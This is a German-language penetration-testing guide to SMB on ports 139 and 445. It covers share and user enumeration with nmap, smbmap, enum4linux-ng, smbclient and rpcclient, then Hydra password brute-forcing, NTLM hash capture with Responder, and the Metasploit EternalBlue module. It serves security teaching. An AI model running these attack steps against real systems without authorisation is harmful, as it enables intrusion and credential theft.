# 139, 445 - SMB

## Einführung

SMB (Server Message Block) ist ein Netzwerkprotokoll, das den Zugriff auf Dateien, Drucker und andere Netzwerkressourcen ermöglicht. Es wird hauptsächlich in Windows-Netzwerken verwendet, aber auch unter Unix/Linux-Systemen durch das Samba-Projekt unterstützt. SMB läuft üblicherweise auf den Ports 139 und 445 und ermöglicht die Kommunikation zwischen einem SMB-Client und einem SMB-Server.

Ziel dieser Anleitung ist es, Schritt für Schritt zu erklären, wie man SMB-Dienste auf einem Zielsystem enumeriert, Schwachstellen identifiziert und diese möglicherweise exploitiert. Dabei werden verschiedene Tools vorgestellt, die gängige Sicherheitslücken ausnutzen können.

***

## **Erkennung von SMB-Diensten**

Der erste Schritt in der SMB-Enumeration besteht darin, zu prüfen, ob das Zielsystem SMB-Dienste bereitstellt und welche Versionen davon laufen. Dazu verwenden wir Nmap, das hilft, offene Ports zu scannen und Informationen über die SMB-Dienste zu erhalten.

#### Nmap-Scan:

```bash
$ sudo nmap -p139,445 --script smb-enum-shares,smb-enum-users -sC -sV <Ziel-IP>
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  microsoft-ds
| smb-enum-shares: 
|   notes: READ, WRITE
|   IPC$: NO ACCESS
```

* **-p139,445**: Scannt die klassischen SMB-Ports.
* **--script smb-enum-shares**: Versucht, Freigaben aufzulisten.
* **--script smb-enum-users**: Listet Benutzer auf, wenn dies möglich ist.
* **-sC**: Führt grundlegende Nmap-Skripte aus.
* **-sV**: Bestimmt die Version des SMB-Dienstes.

**Warum dieser Schritt wichtig ist:** Der Scan gibt dir eine erste Übersicht über das Zielsystem. Du erfährst, ob SMB-Dienste aktiv sind, welche Version des Protokolls verwendet wird und ob du auf bestimmte Freigaben zugreifen kannst. Das ist entscheidend für den weiteren Angriff, da veraltete Versionen wie **SMBv1** bekannte Schwachstellen enthalten (z.B. EternalBlue).

***

## Freigabenanalyse mit SMBMap

Mit SMBMap kannst du Freigaben auflisten und Berechtigungen einsehen.

**Befehl:**

```bash
smbmap -H <Ziel-IP>
```

Zeigt z. B.:

```bash
Disk        Permissions  Comment
notes       READ,WRITE   Projektdateien
IPC$        NO ACCESS    IPC Service
```

**Warum dieser Schritt wichtig ist:** Du erkennst, ob du z. B. Schreibrechte hast. Schreibrechte können für Payloads oder Backdoors genutzt werden.

***

## Umfassende Enumeration mit Enum4linux-ng

Enum4linux-ng kombiniert mehrere Techniken und liefert umfangreiche Informationen zu Benutzern, Gruppen und Freigaben.

**Befehl:**

```bash
enum4linux-ng -A <Ziel-IP>
```

**Warum dieser Schritt wichtig ist:** Gerade bei Active Directory-Umgebungen kannst du wertvolle Informationen über Userstrukturen gewinnen und Angriffsflächen identifizieren.

***

## Manuelles Durchsuchen von Freigaben mit smbclient

Wenn du Freigaben gefunden hast, kannst du sie mit smbclient durchsuchen. Es funktioniert ähnlich wie ein FTP-Client.

**Freigaben anzeigen (anonym):**

```bash
smbclient -N -L \\{Ziel-IP}\\
```

* `-N`: Kein Passwort
* `-L`: Zeigt verfügbare Freigaben

**Auf eine Freigabe zugreifen:**

```bash
smbclient -N \\{Ziel-IP}\\backups
```

**Warum dieser Schritt wichtig ist:** Erlaubt dir das manuelle Stöbern nach sensiblen Dateien oder Konfigurationen. Besonders nützlich, wenn keine Zugangsdaten vorhanden sind.

***

## Benutzerinformationen mit rpcclient

rpcclient ermöglicht es, detaillierte Informationen über Benutzer und Gruppen auf einem SMB-Server zu erhalten. Dies ist besonders nützlich, um mehr über die Benutzerstruktur und mögliche Schwachstellen zu erfahren.

**Befehl:**

```bash
rpcclient -U "" <Ziel-IP>
```

**Beispielkommandos:**

```bash
rpcclient $> enumdomusers
rpcclient $> queryuser <RID>
```

**Beispielausgabe:**

```bash
$ rpcclient -U "" <Ziel-IP>
rpcclient $> enumdomusers
user:[mrb3n] rid:[0x3e8]
user:[cry0l1t3] rid:[0x3e9]
rpcclient $> queryuser <RID>
User Name   :   cry0l1t3
Full Name   :   cry0l1t3
Logon Time  :   Mi, 22 Sep 2021 17:50:56 CEST
Password last set Time: Mi, 22 Sep 2021 17:50:56 CEST
```

**Warum dieser Schritt wichtig ist:** Mit rpcclient kannst du Benutzerinformationen sammeln, die für weitere Angriffe wie Brute-Force oder Passwortspray verwendet werden können. Besonders hilfreich, wenn enum4linux-ng keine Benutzer liefert.

### Query

| Query                     | Description                                                        |
| ------------------------- | ------------------------------------------------------------------ |
| `srvinfo`                 | Server information.                                                |
| `enumdomains`             | Enumerate all domains that are deployed in the network.            |
| `querydominfo`            | Provides domain, server, and user information of deployed domains. |
| `netshareenumall`         | Enumerates all available shares.                                   |
| `netsharegetinfo <share>` | Provides information about a specific share.                       |
| `enumdomusers`            | Enumerates all domain users.                                       |
| `queryuser <RID>`         | Provides information about a specific user.                        |

***

## Brute-Force mit Hydra

Mit validen Usernamen kannst du schwache Passwörter testen.

**Befehl:**

```bash
hydra -l <Benutzer> -P /usr/share/wordlists/rockyou.txt smb://<Ziel-IP>
```

**Warum dieser Schritt wichtig ist:** Einfacher Weg, Zugriff zu erlangen, wenn Passwörter schwach oder Standard sind.

***

## Hash-Abgriff mit Responder

Responder fängt SMB-Authentifizierungen ab und speichert NTLM-Hashes.

**Befehl:**

```bash
sudo responder -I <Interface>
```

**Warum dieser Schritt wichtig ist:** NTLM-Hashes lassen sich offline cracken oder für Pass-the-Hash nutzen.

***

## SMB-Exploits (z. B. EternalBlue)

Bei alten SMB-Versionen wie SMBv1 können Exploits wie EternalBlue verwendet werden.

**Metasploit-Exploit:**

```bash
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <Ziel-IP>
run
```

**Warum dieser Schritt wichtig ist:** Ermöglicht Remote-Code-Execution auf ungepatchten Systemen. Volle Kontrolle möglich.

***

### Zusammenfassung der SMB-Enumeration und -Exploitation

| **Tool**          | **Beschreibung**                                                                    |
| ----------------- | ----------------------------------------------------------------------------------- |
| **Nmap**          | Erkennung von offenen SMB-Ports und Versionen.                                      |
| **SMBMap**        | Detaillierte Analyse von SMB-Freigaben und Berechtigungen.                          |
| **Enum4linux-ng** | Umfassende Enumeration von Benutzern, Freigaben und Gruppen auf dem SMB-Server.     |
| **smbclient**     | Direkter Zugriff auf SMB-Freigaben, um Dateien zu durchsuchen oder herunterzuladen. |
| **rpcclient**     | Abfragen von Benutzerinformationen und Gruppen.                                     |
| **Hydra**         | Brute-Force-Angriffe auf SMB-Passwörter.                                            |
| **Responder**     | Abfangen von SMB-Authentifizierungs-Hashes (NTLM).                                  |
| **Metasploit**    | Automatisierte Exploitation von Schwachstellen (z.B. EternalBlue).                  |
